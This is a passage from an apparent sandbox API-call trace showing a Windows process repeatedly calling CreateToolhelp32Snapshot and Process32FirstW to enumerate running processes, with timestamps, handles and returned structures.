pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.856] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0246.870] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.037] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0247.041] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.213] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0247.216] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.443] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0247.458] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.599] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0247.603] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.775] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0247.778] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.948] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0247.963] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.162] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0248.185] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.372] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0248.375] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.571] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0248.574] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.761] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0248.777] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.959] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0248.962] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.236] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0249.239] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.438] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0249.441] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.595] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0249.597] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.832] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0249.844] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0250.307] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.469] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0250.472] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.612] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0250.615] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.854] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0250.873] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.078] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0251.080] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.229] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0251.242] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0251.454] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.643] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0251.646] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.798] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0251.823] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.091] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0252.095] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.346] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0252.349] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.560] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0252.566] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.888] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0252.892] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.157] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0253.160] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.417] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0253.421] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.744] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0253.747] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.028] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0254.080] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.279] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0254.282] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0254.483] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.712] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0254.715] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.962] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0254.965] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.118] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0255.121] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.352] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0255.356] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.492] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0255.507] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.679] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0255.682] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.834] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0255.837] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.079] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0256.085] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.331] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0256.372] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.559] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0256.562] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.772] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0256.776] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.990] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0256.993] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.130] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0257.133] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.323] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0257.359] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0257.570] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0257.710] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.006] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0258.009] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.254] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0258.256] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.503] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0258.508] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.660] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0258.664] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.800] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0258.855] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.054] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0259.066] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.253] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0259.265] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.454] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0259.467] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.655] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0259.657] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.898] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0259.901] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.260] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0260.262] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.666] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0260.669] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.937] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0260.940] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.086] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0261.103] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.283] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0261.305] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.515] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0261.518] Process32FirstW (in: hSnapshot=0x288, 